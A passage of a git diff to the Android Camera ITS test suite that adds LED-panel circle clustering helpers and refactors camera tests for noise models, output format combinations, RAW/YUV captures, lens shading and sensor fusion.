+ # Collapse tree for better runtime.
+ cluster_assignments[i] = index
+ return index
+ else:
+ return i
+
+ def get_cluster_size(i):
+ return -cluster_assignments[get_canonical_index(i)]
+
+ for i, curr in enumerate(circles):
+ close_circles = [j for j, p in enumerate(circles) if i != j and
+ curr.distance_to(p) < CLUSTER_DISTANCE]
+ if close_circles:
+ # Note: largest_cluster is an index into cluster_assignments.
+ largest_cluster = min(close_circles, key=get_cluster_size)
+ largest_size = get_cluster_size(largest_cluster)
+ curr_index = get_canonical_index(i)
+ curr_size = get_cluster_size(i)
+ if largest_size > curr_size:
+ # largest_cluster is larger than us.
+ target_index = get_canonical_index(largest_cluster)
+ # Add our cluster size to the bigger one.
+ cluster_assignments[target_index] -= curr_size
+ # Reroute our group to the bigger one.
+ cluster_assignments[curr_index] = target_index
+ else:
+ # We're the largest (or equal to the largest) cluster. Reroute
+ # all groups to us.
+ for j in close_circles:
+ smaller_size = get_cluster_size(j)
+ smaller_index = get_canonical_index(j)
+ if smaller_index != curr_index:
+ # We only want to modify clusters that aren't already in
+ # the current one.
+
+ # Add the smaller cluster's size to ours.
+ cluster_assignments[curr_index] -= smaller_size
+ # Reroute their group to us.
+ cluster_assignments[smaller_index] = curr_index
+
+ # Convert assignments list into list of clusters.
+ clusters_dict = {}
+ for i in range(len(cluster_assignments)):
+ canonical_index = get_canonical_index(i)
+ if canonical_index not in clusters_dict:
+ clusters_dict[canonical_index] = []
+ clusters_dict[canonical_index].append(circles[i])
+ return clusters_dict.values()
+
+
+def find_cluster_bounding_rect(cluster, scratch_frame):
+ """Finds the minimum rectangle that bounds the given cluster.
+
+ The bounding rectangle will always be axis-aligned.
+
+ Args:
+ cluster: Cluster being used to find the bounding rectangle.
+ scratch_frame: Image that rectangle is drawn onto for debugging
+ purposes.
+
+ Returns:
+ The leftmost and topmost x and y coordinates, respectively, along with
+ the width and height of the rectangle.
+ """
+ avg_distance = find_average_neighbor_distance(cluster)
+ debug_print('Average distance between points in largest cluster is %s '
+ 'pixels.' % avg_distance)
+
+ c_x = min(cluster, key=lambda c: c.x - c.r)
+ c_y = min(cluster, key=lambda c: c.y - c.r)
+ c_w = max(cluster, key=lambda c: c.x + c.r)
+ c_h = max(cluster, key=lambda c: c.y + c.r)
+
+ x = c_x.x - c_x.r - avg_distance
+ y = c_y.y - c_y.r - avg_distance
+ w = (c_w.x + c_w.r + avg_distance) - x
+ h = (c_h.y + c_h.r + avg_distance) - y
+
+ if DEBUG:
+ points = np.array([[x, y], [x + w, y], [x + w, y + h], [x, y + h]],
+ np.int32)
+ cv2.polylines(scratch_frame, [points], True, (255, 0, 0), thickness=2)
+
+ return x, y, w, h
+
+
+def find_average_neighbor_distance(cluster):
+ """Finds the average distance between every circle and its closest neighbor.
+
+ Args:
+ cluster: List of circles
+
+ Returns:
+ The average distance.
+ """
+ avg_distance = 0.0
+ for a in cluster:
+ closest_point = None
+ closest_dist = None
+ for b in cluster:
+ if a is b:
+ continue
+ curr_dist = a.distance_to(b)
+ if closest_point is None or curr_dist < closest_dist:
+ closest_point = b
+ closest_dist = curr_dist
+ avg_distance += closest_dist
+ avg_distance /= len(cluster)
+ return avg_distance
+
+
+def find_num_columns_spanned(circles):
+ """Finds how many columns of the LED panel are spanned by the given circles.
+
+ Args:
+ circles: List of circles (assumed to be from the LED panel).
+
+ Returns:
+ The number of columns spanned.
+ """
+ if not circles:
+ return 0
+
+ def x_intersects(c_a, c_b):
+ return abs(c_a.x - c_b.x) < (c_a.r + c_b.r)
+
+ circles = sorted(circles, key=lambda c: c.x)
+ last_circle = circles[0]
+ num_columns = 1
+ for circle in circles[1:]:
+ if not x_intersects(circle, last_circle):
+ last_circle = circle
+ num_columns += 1
+
+ return num_columns
+
+
+def setup_debug_dir(dir_name=None):
+ """Creates a debug directory and required subdirectories.
+
+ Each subdirectory contains images from a different step in the process.
+
+ Args:
+ dir_name: The directory to create. If none is specified, a temp
+ directory is created.
+
+ Returns:
+ The name of the directory that is used.
+ """
+ if dir_name is None:
+ dir_name = tempfile.mkdtemp()
+ else:
+ force_mkdir(dir_name)
+ print('Saving debugging files to "%s"' % dir_name)
+ # For original captured images.
+ force_mkdir(dir_name + '/raw', clean=True)
+ # For monochrome images.
+ force_mkdir(dir_name + '/mono', clean=True)
+ # For contours generated from monochrome images.
+ force_mkdir(dir_name + '/contour', clean=True)
+ # For post-contour debugging information.
+ force_mkdir(dir_name + '/scratch', clean=True)
+ return dir_name
+
+
+def force_mkdir(dir_name, clean=False):
+ """Creates a directory if it doesn't already exist.
+
+ Args:
+ dir_name: Name of the directory to create.
+ clean: (optional) If set to true, cleans image files from the
+ directory (if it already exists).
+ """
+ if os.path.exists(dir_name):
+ if clean:
+ for image in glob.glob('%s/*.png' % dir_name):
+ os.remove(image)
+ else:
+ os.makedirs(dir_name)
+
+
+def debug_print(s, *args, **kwargs):
+ """Only prints if the test is running in debug mode."""
+ if DEBUG:
+ print(s, *args, **kwargs)
+
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index 019e6c5..95a2cc2 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -35,8 +35,10 @@
# Get the timestamps of motion events.
print "Reading sensor measurements"
cam.start_sensor_events()
- time.sleep(0.5)
+ time.sleep(2.0)
events = cam.get_sensor_events()
+ print "Lens of gyro %d, accel %d, mag %d"%(
+ len(events["gyro"]), len(events["accel"]), len(events["mag"]))
assert(len(events["gyro"]) > 0)
assert(len(events["accel"]) > 0)
assert(len(events["mag"]) > 0)
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index 73808cb..538e786 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -12,30 +12,31 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.device
-import its.caps
-import its.objects
-import its.image
import os.path
-from matplotlib import pylab
+import its.caps
+import its.device
+import its.image
+import its.objects
import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
+
+NAME = os.path.basename(__file__).split('.')[0]
+BAYER_LIST = ['R', 'GR', 'GB', 'B']
+DIFF_THRESH = 0.0012 # absolute variance delta threshold
+FRAC_THRESH = 0.2 # relative variance delta threshold
+NUM_STEPS = 4
+STATS_GRID = 49 # center 2.04% of image for calculations
+
def main():
- """Verify that the DNG raw model parameters are correct.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- NUM_STEPS = 4
+ """Verify that the DNG raw model parameters are correct."""
# Pass if the difference between expected and computed variances is small,
- # defined as being within an absolute variance delta of 0.0005, or within
- # 20% of the expected variance, whichever is larger; this is to allow the
+ # defined as being within an absolute variance delta or relative variance
+ # delta of the expected variance, whichever is larger. This is to allow the
# test to pass in the presence of some randomness (since this test is
# measuring noise of a small patch) and some imperfect scene conditions
# (since ITS doesn't require a perfectly uniformly lit scene).
- DIFF_THRESH = 0.0005
- FRAC_THRESH = 0.2
with its.device.ItsSession() as cam:
@@ -45,70 +46,85 @@
its.caps.manual_sensor(props) and
its.caps.read_3a(props) and
its.caps.per_frame_control(props))
+ debug = its.caps.debug_mode()
white_level = float(props['android.sensor.info.whiteLevel'])
cfa_idxs = its.image.get_canonical_cfa_order(props)
+ aax = props['android.sensor.info.activeArraySize']['left']
+ aay = props['android.sensor.info.activeArraySize']['top']
+ aaw = props['android.sensor.info.activeArraySize']['right']-aax
+ aah = props['android.sensor.info.activeArraySize']['bottom']-aay
# Expose for the scene with min sensitivity
sens_min, sens_max = props['android.sensor.info.sensitivityRange']
sens_step = (sens_max - sens_min) / NUM_STEPS
- s_ae,e_ae,_,_,f_dist = cam.do_3a(get_results=True)
+ s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
s_e_prod = s_ae * e_ae
sensitivities = range(sens_min, sens_max, sens_step)
- var_expected = [[],[],[],[]]
- var_measured = [[],[],[],[]]
+ var_expected = [[], [], [], []]
+ var_measured = [[], [], [], []]
+ x = STATS_GRID/2 # center in H of STATS_GRID
+ y = STATS_GRID/2 # center in W of STATS_GRID
for sens in sensitivities:
- # Capture a raw frame with the desired sensitivity.
+ # Capture a raw frame with the desired sensitivity
exp = int(s_e_prod / float(sens))
req = its.objects.manual_capture_request(sens, exp, f_dist)
- cap = cam.do_capture(req, cam.CAP_RAW)
+ if debug:
+ cap = cam.do_capture(req, cam.CAP_RAW)
+ planes = its.image.convert_capture_to_planes(cap, props)
+ else:
+ cap = cam.do_capture(req, {'format': 'rawStats',
+ 'gridWidth': aaw/STATS_GRID,
+ 'gridHeight': aah/STATS_GRID})
+ mean_img, var_img = its.image.unpack_rawstats_capture(cap)
- # Test each raw color channel (R, GR, GB, B):
- noise_profile = cap["metadata"]["android.sensor.noiseProfile"]
- assert((len(noise_profile)) == 4)
- for ch in range(4):
+ # Test each raw color channel (R, GR, GB, B)
+ noise_profile = cap['metadata']['android.sensor.noiseProfile']
+ assert len(noise_profile) == len(BAYER_LIST)
+ for i in range(len(BAYER_LIST)):
# Get the noise model parameters for this channel of this shot.
- s,o = noise_profile[cfa_idxs[ch]]
+ ch = cfa_idxs[i]
+ s, o = noise_profile[ch]
- # Get a center tile of the raw channel, and compute the mean.
# Use a very small patch to ensure gross uniformity (i.e. so
# non-uniform lighting or vignetting doesn't affect the variance
- # calculation).
- plane = its.image.convert_capture_to_planes(cap, props)[ch]
- black_level = its.image.get_black_level(
- ch, props, cap["metadata"])
- plane = (plane * white_level - black_level) / (
- white_level - black_level)
- tile = its.image.get_image_patch(plane, 0.49,0.49,0.02,0.02)
- mean = tile.mean()
+ # calculation)
+ black_level = its.image.get_black_level(i, props,
+ cap['metadata'])
+ level_range = white_level - black_level
+ if debug:
+ plane = ((planes[i] * white_level - black_level) /
+ level_range)
+ tile = its.image.get_image_patch(plane, 0.49, 0.49,
+ 0.02, 0.02)
+ mean_img_ch = tile.mean()
+ var_measured[i].append(
+ its.image.compute_image_variances(tile)[0])
+ else:
+ mean_img_ch = (mean_img[x, y, ch]-black_level)/level_range
+ var_measured[i].append(var_img[x, y, ch]/level_range**2)
+ var_expected[i].append(s * mean_img_ch + o)
- # Calculate the expected variance based on the model, and the
- # measured variance from the tile.
- var_measured[ch].append(
- its.image.compute_image_variances(tile)[0])
- var_expected[ch].append(s * mean + o)
-
- for ch in range(4):
- pylab.plot(sensitivities, var_expected[ch], "rgkb"[ch],
- label=["R","GR","GB","B"][ch]+" expected")
- pylab.plot(sensitivities, var_measured[ch], "rgkb"[ch]+"--",
- label=["R", "GR", "GB", "B"][ch]+" measured")
- pylab.xlabel("Sensitivity")
- pylab.ylabel("Center patch variance")
+ for i, ch in enumerate(BAYER_LIST):
+ pylab.plot(sensitivities, var_expected[i], 'rgkb'[i],
+ label=ch+' expected')
+ pylab.plot(sensitivities, var_measured[i], 'rgkb'[i]+'--',
+ label=ch+' measured')
+ pylab.xlabel('Sensitivity')
+ pylab.ylabel('Center patch variance')
pylab.legend(loc=2)
- matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
+ matplotlib.pyplot.savefig('%s_plot.png' % NAME)
- # Pass/fail check.
- for ch in range(4):
- diffs = [abs(var_measured[ch][i] - var_expected[ch][i])
- for i in range(len(sensitivities))]
- print "Diffs (%s):"%(["R","GR","GB","B"][ch]), diffs
- for i,diff in enumerate(diffs):
- thresh = max(DIFF_THRESH, FRAC_THRESH * var_expected[ch][i])
- assert(diff <= thresh)
+ # PASS/FAIL check
+ for i, ch in enumerate(BAYER_LIST):
+ diffs = [abs(var_measured[i][j] - var_expected[i][j])
+ for j in range(len(sensitivities))]
+ print 'Diffs (%s):'%(ch), diffs
+ for j, diff in enumerate(diffs):
+ thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
+ assert diff <= thresh
if __name__ == '__main__':
main()
-
diff --git a/apps/CameraITS/tests/scene1/test_format_combos.py b/apps/CameraITS/tests/scene1/test_format_combos.py
index 1519237..ca65e4f 100644
--- a/apps/CameraITS/tests/scene1/test_format_combos.py
+++ b/apps/CameraITS/tests/scene1/test_format_combos.py
@@ -20,15 +20,13 @@
import its.target
import sys
import os
-import os.path
-# Change this to True, to have the test break at the first failure.
-stop_at_first_failure = False
+NAME = os.path.basename(__file__).split(".")[0]
+STOP_AT_FIRST_FAILURE = False # change to True to have test break @ 1st FAIL
+
def main():
- """Test different combinations of output formats.
- """
- NAME = os.path.basename(__file__).split(".")[0]
+ """Test different combinations of output formats."""
with its.device.ItsSession() as cam:
@@ -44,33 +42,33 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req_aut = its.objects.auto_capture_request()
req_man = its.objects.manual_capture_request(s, e)
- reqs = [req_aut, # R0
- req_man] # R1
+ reqs = [req_aut, # R0
+ req_man] # R1
# 10 different combos of output formats; some are single surfaces, and
# some are multiple surfaces.
- wyuv,hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
- wjpg,hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
- fmt_yuv_prev = {"format":"yuv", "width":wyuv, "height":hyuv}
- fmt_yuv_full = {"format":"yuv"}
- fmt_jpg_prev = {"format":"jpeg","width":wjpg, "height":hjpg}
- fmt_jpg_full = {"format":"jpeg"}
- fmt_raw_full = {"format":"raw"}
- fmt_combos =[
- [fmt_yuv_prev], # F0
- [fmt_yuv_full], # F1
- [fmt_jpg_prev], # F2
- [fmt_jpg_full], # F3
- [fmt_raw_full], # F4
- [fmt_yuv_prev, fmt_jpg_prev], # F5
- [fmt_yuv_prev, fmt_jpg_full], # F6
- [fmt_yuv_prev, fmt_raw_full], # F7
- [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full], # F8
- [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]] # F9
+ wyuv, hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
+ wjpg, hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
+ fmt_yuv_prev = {"format": "yuv", "width": wyuv, "height": hyuv}
+ fmt_yuv_full = {"format": "yuv"}
+ fmt_jpg_prev = {"format": "jpeg", "width": wjpg, "height": hjpg}
+ fmt_jpg_full = {"format": "jpeg"}
+ fmt_raw_full = {"format": "raw"}
+ fmt_combos = [
+ [fmt_yuv_prev], # F0
+ [fmt_yuv_full], # F1
+ [fmt_jpg_prev], # F2
+ [fmt_jpg_full], # F3
+ [fmt_raw_full], # F4
+ [fmt_yuv_prev, fmt_jpg_prev], # F5
+ [fmt_yuv_prev, fmt_jpg_full], # F6
+ [fmt_yuv_prev, fmt_raw_full], # F7
+ [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full], # F8
+ [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]] # F9
# Two different burst lengths: single frame, and 3 frames.
- burst_lens = [1, # B0
- 3] # B1
+ burst_lens = [1, # B0
+ 3] # B1
# There are 2x10x2=40 different combinations. Run through them all.
n = 0
@@ -82,15 +80,14 @@
successes.append((n,r,f,b))
print "==> Success[%02d]: R%d F%d B%d" % (n,r,f,b)
- # Dump the captures out to jpegs.
- if not isinstance(caps, list):
- caps = [caps]
- elif isinstance(caps[0], list):
- caps = sum(caps, [])
- for c,cap in enumerate(caps):
- img = its.image.convert_capture_to_rgb_image(cap,
- props=props)
- if debug:
+ # Dump the captures out to jpegs in debug mode.
+ if debug:
+ if not isinstance(caps, list):
+ caps = [caps]
+ elif isinstance(caps[0], list):
+ caps = sum(caps, [])
+ for c, cap in enumerate(caps):
+ img = its.image.convert_capture_to_rgb_image(cap, props=props)
its.image.write_image(img,
"%s_n%02d_r%d_f%d_b%d_c%d.jpg"%(NAME,n,r,f,b,c))
@@ -98,8 +95,8 @@
print e
print "==> Failure[%02d]: R%d F%d B%d" % (n,r,f,b)
failures.append((n,r,f,b))
- if stop_at_first_failure:
- sys.exit(0)
+ if STOP_AT_FIRST_FAILURE:
+ sys.exit(1)
n += 1
num_fail = len(failures)
@@ -118,8 +115,8 @@
print ""
# The test passes if all the combinations successfully capture.
- assert(num_fail == 0)
- assert(num_success == num_total)
+ assert num_fail == 0
+ assert num_success == num_total
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
index 343c960..dd7ef21 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
@@ -12,20 +12,20 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import math
+import os.path
import its.caps
import its.device
+import its.image
import its.objects
import its.target
-import os.path
-import math
+
+NAME = os.path.basename(__file__).split(".")[0]
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
def main():
- """Test capturing a single frame as both RAW and YUV outputs.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- THRESHOLD_MAX_RMS_DIFF = 0.035
+ """Test capturing a single frame as both RAW and YUV outputs."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -38,34 +38,35 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req = its.objects.manual_capture_request(s, e, 0.0, True, props)
- if 0 in props['android.shading.availableModes']:
- req["android.shading.mode"] = 0
+ mode = req["android.shading.mode"]
+ print "shading mode:", mode
- max_raw_size = \
- its.objects.get_available_output_sizes("raw", props)[0]
- w,h = its.objects.get_available_output_sizes(
+ max_raw_size = its.objects.get_available_output_sizes("raw", props)[0]
+ w, h = its.objects.get_available_output_sizes(
"yuv", props, (1920, 1080), max_raw_size)[0]
- out_surfaces = [{"format":"raw"},
- {"format":"yuv", "width":w, "height":h}]
+ out_surfaces = [{"format": "raw"},
+ {"format": "yuv", "width": w, "height": h}]
cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
img = its.image.convert_capture_to_rgb_image(cap_yuv)
- its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb0 = its.image.compute_image_means(tile)
# Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
# cropping is relative.
img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
- its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb1 = its.image.compute_image_means(tile)
rms_diff = math.sqrt(
sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
- print "RMS difference:", rms_diff
- assert(rms_diff < THRESHOLD_MAX_RMS_DIFF)
+ msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+ THRESHOLD_MAX_RMS_DIFF)
+ print msg
+ assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
index 6ecdca7..9c0c69b 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
@@ -12,20 +12,20 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import math
+import os.path
import its.caps
import its.device
+import its.image
import its.objects
import its.target
-import os.path
-import math
+
+NAME = os.path.basename(__file__).split(".")[0]
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
def main():
- """Test capturing a single frame as both RAW10 and YUV outputs.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- THRESHOLD_MAX_RMS_DIFF = 0.035
+ """Test capturing a single frame as both RAW10 and YUV outputs."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -38,34 +38,36 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req = its.objects.manual_capture_request(s, e, 0.0, True, props)
- if 0 in props['android.shading.availableModes']:
- req["android.shading.mode"] = 0
+ mode = req["android.shading.mode"]
+ print "shading mode:", mode
- max_raw10_size = \
- its.objects.get_available_output_sizes("raw10", props)[0]
- w,h = its.objects.get_available_output_sizes(
+ max_raw10_size = its.objects.get_available_output_sizes("raw10",
+ props)[0]
+ w, h = its.objects.get_available_output_sizes(
"yuv", props, (1920, 1080), max_raw10_size)[0]
- cap_raw, cap_yuv = cam.do_capture(req,
- [{"format":"raw10"},
- {"format":"yuv", "width":w, "height":h}])
+ out_surfaces = [{"format": "raw10"},
+ {"format": "yuv", "width": w, "height": h}]
+ cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
img = its.image.convert_capture_to_rgb_image(cap_yuv)
- its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb0 = its.image.compute_image_means(tile)
# Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
# cropping is relative.
img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
- its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb1 = its.image.compute_image_means(tile)
rms_diff = math.sqrt(
sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
- print "RMS difference:", rms_diff
- assert(rms_diff < THRESHOLD_MAX_RMS_DIFF)
+ msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+ THRESHOLD_MAX_RMS_DIFF)
+ print msg
+ assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index 065f854..95fc543 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -45,13 +45,15 @@
THRES_LS_CN = 0.6 # len shading allowance for corner
THRES_LS_HIGH = 0.2 # max allowed percentage for a patch to be brighter
# than center
- THRES_UFMT = 0.1 # uniformity allowance
+ THRES_UFMT = 0.2 # uniformity allowance
# Drawing color
RED = (1, 0, 0) # blocks failed the test
GREEN = (0, 0.7, 0.3) # blocks passed the test
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.ae_lock(props) and
+ its.caps.awb_lock(props))
if its.caps.read_3a(props):
# Converge 3A and get the estimates.
sens, exp, gains, xform, focus = cam.do_3a(get_results=True,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 022a0d2..e8a5b81 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -12,32 +12,33 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
-import its.device
-import its.objects
-import its.caps
-import time
-import math
-from matplotlib import pylab
-import os.path
-import matplotlib
-import matplotlib.pyplot
-import json
-from PIL import Image
-import numpy
-import cv2
import bisect
-import scipy.spatial
+import json
+import math
+import os.path
import sys
+import time
+
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+import matplotlib
+from matplotlib import pylab
+import matplotlib.pyplot
+import numpy
+from PIL import Image
+import scipy.spatial
NAME = os.path.basename(__file__).split(".")[0]
-# Capture 210 VGA frames (which is 7s at 30fps)
-N = 210
-W,H = 640,480
-FEATURE_MARGIN = H * 0.20 / 2 # Only take feature points from the center 20%
- # so that the rotation measured have much less
- # of rolling shutter effect
+W, H = 640, 480
+FPS = 30
+TEST_LENGTH = 7 # seconds
+FEATURE_MARGIN = 0.20 # Only take feature points from the center 20%
+ # so that the rotation measured have much less of rolling
+ # shutter effect
MIN_FEATURE_PTS = 30 # Minimum number of feature points required to
# perform rotation analysis
@@ -48,15 +49,15 @@
MIN_GYRO_SMP_RATE = 100.0 # Minimum gyro sample rate
-FEATURE_PARAMS = dict( maxCorners = 240,
- qualityLevel = 0.3,
- minDistance = 7,
- blockSize = 7 )
+FEATURE_PARAMS = dict(maxCorners=240,
+ qualityLevel=0.3,
+ minDistance=7,
+ blockSize=7)
-LK_PARAMS = dict( winSize = (15, 15),
- maxLevel = 2,
- criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
- 10, 0.03))
+LK_PARAMS = dict(winSize=(15, 15),
+ maxLevel=2,
+ criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
+ 10, 0.03))
# Constants to convert between different units (for clarity).
SEC_TO_NSEC = 1000*1000*1000.0
@@ -87,22 +88,50 @@
The instructions for running this test are in the SensorFusion.pdf file in
the same directory as this test.
- The command-line argument "replay" may be optionally provided. Without this
- argument, the test will collect a new set of camera+gyro data from the
- device and then analyze it (and it will also dump this data to files in the
- current directory). If the "replay" argument is provided, then the script
- will instead load the dumped data from a previous run and analyze that
- instead. This can be helpful for developers who are digging for additional
- information on their measurements.
+ Note that if fps*test_length is too large, write speeds may become a
+ bottleneck and camera capture will slow down or stop.
+
+ Command line arguments:
+ fps: FPS to capture with during the test
+ img_size: Comma-separated dimensions of captured images (defaults to
+ 640x480). Ex: "img_size=<width>,<height>"
+ replay: Without this argument, the test will collect a new set of
+ camera+gyro data from the device and then analyze it (and
+ it will also dump this data to files in the current
+ directory). If the "replay" argument is provided, then the
+ script will instead load the dumped data from a previous
+ run and analyze that instead. This can be helpful for
+ developers who are digging for additional information on
+ their measurements.
+ test_length: How long the test should run for (in seconds)
"""
+ fps = FPS
+ w, h = W, H
+ test_length = TEST_LENGTH
+ for s in sys.argv[1:]:
+ if s[:4] == "fps=" and len(s) > 4:
+ fps = int(s[4:])
+ elif s[:9] == "img_size=" and len(s) > 9:
+ # Split by comma and convert each dimension to int.
+ [w, h] = map(int, s[9:].split(","))
+ elif s[:12] == "test_length=" and len(s) > 12:
+ test_length = int(s[12:])
+
# Collect or load the camera+gyro data. All gyro events as well as camera
# timestamps are in the "events" dictionary, and "frames" is a list of
# RGB images as numpy arrays.
if "replay" not in sys.argv:
- events, frames = collect_data()
+ if w * h > 640 * 480 or fps * test_length > 300:
+ warning_str = (
+ "Warning: Your test parameters may require fast write speeds "
+ "to run smoothly. If you run into problems, consider smaller "
+ "values of \'w\', \'h\', \'fps\', or \'test_length\'."
+ )
+ print warning_str
+ events, frames = collect_data(fps, w, h, test_length)
else:
- events, frames = load_data()
+ events, frames, _, h = load_data()
# Sanity check camera timestamps are enclosed by sensor timestamps
# This will catch bugs where camera and gyro timestamps go completely out
@@ -114,25 +143,29 @@
min_gyro_time = min(gyro_times) * NSEC_TO_SEC
max_gyro_time = max(gyro_times) * NSEC_TO_SEC
if not (min_cam_time > min_gyro_time and max_cam_time < max_gyro_time):
- print "Test failed: camera timestamps [%f,%f] " \
- "are not enclosed by gyro timestamps [%f, %f]" % (
- min_cam_time, max_cam_time, min_gyro_time, max_gyro_time)
- assert(0)
+ fail_str = ("Test failed: "
+ "camera timestamps [%f,%f] "
+ "are not enclosed by "
+ "gyro timestamps [%f, %f]"
+ ) % (min_cam_time, max_cam_time,
+ min_gyro_time, max_gyro_time)
+ print fail_str
+ assert 0
cam_frame_range = max_cam_time - min_cam_time
gyro_time_range = max_gyro_time - min_gyro_time
gyro_smp_per_sec = len(gyro_times) / gyro_time_range
print "Camera frame range", max_cam_time - min_cam_time
print "Gyro samples per second", gyro_smp_per_sec
- assert(cam_frame_range < MAX_CAM_FRM_RANGE_SEC)
- assert(gyro_smp_per_sec > MIN_GYRO_SMP_RATE)
+ assert cam_frame_range < MAX_CAM_FRM_RANGE_SEC
+ assert gyro_smp_per_sec > MIN_GYRO_SMP_RATE
# Compute the camera rotation displacements (rad) between each pair of
# adjacent frames.
- cam_rots = get_cam_rotations(frames, events["facing"])
+ cam_rots = get_cam_rotations(frames, events["facing"], h)
if max(abs(cam_rots)) < THRESH_MIN_ROT:
print "Device wasn't moved enough"
- assert(0)
+ assert 0
# Find the best offset (time-shift) to align the gyro and camera motion
# traces; this function integrates the shifted gyro data between camera
@@ -141,15 +174,16 @@
offset = get_best_alignment_offset(cam_times, cam_rots, events["gyro"])
# Plot the camera and gyro traces after applying the best shift.
- cam_times = cam_times + offset*SEC_TO_NSEC
+ cam_times += offset*SEC_TO_NSEC
gyro_rots = get_gyro_rotations(events["gyro"], cam_times)
plot_rotations(cam_rots, gyro_rots)
# Pass/fail based on the offset and also the correlation distance.
dist = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
print "Best correlation of %f at shift of %.2fms"%(dist, offset*SEC_TO_MSEC)
- assert(dist < THRESH_MAX_CORR_DIST)
- assert(abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC)
+ assert dist < THRESH_MAX_CORR_DIST
+ assert abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC
+
def get_best_alignment_offset(cam_times, cam_rots, gyro_events):
"""Find the best offset to align the camera and gyro traces.
@@ -167,7 +201,7 @@
"""
# Measure the corr. dist. over a shift of up to +/- 50ms (0.5ms step size).
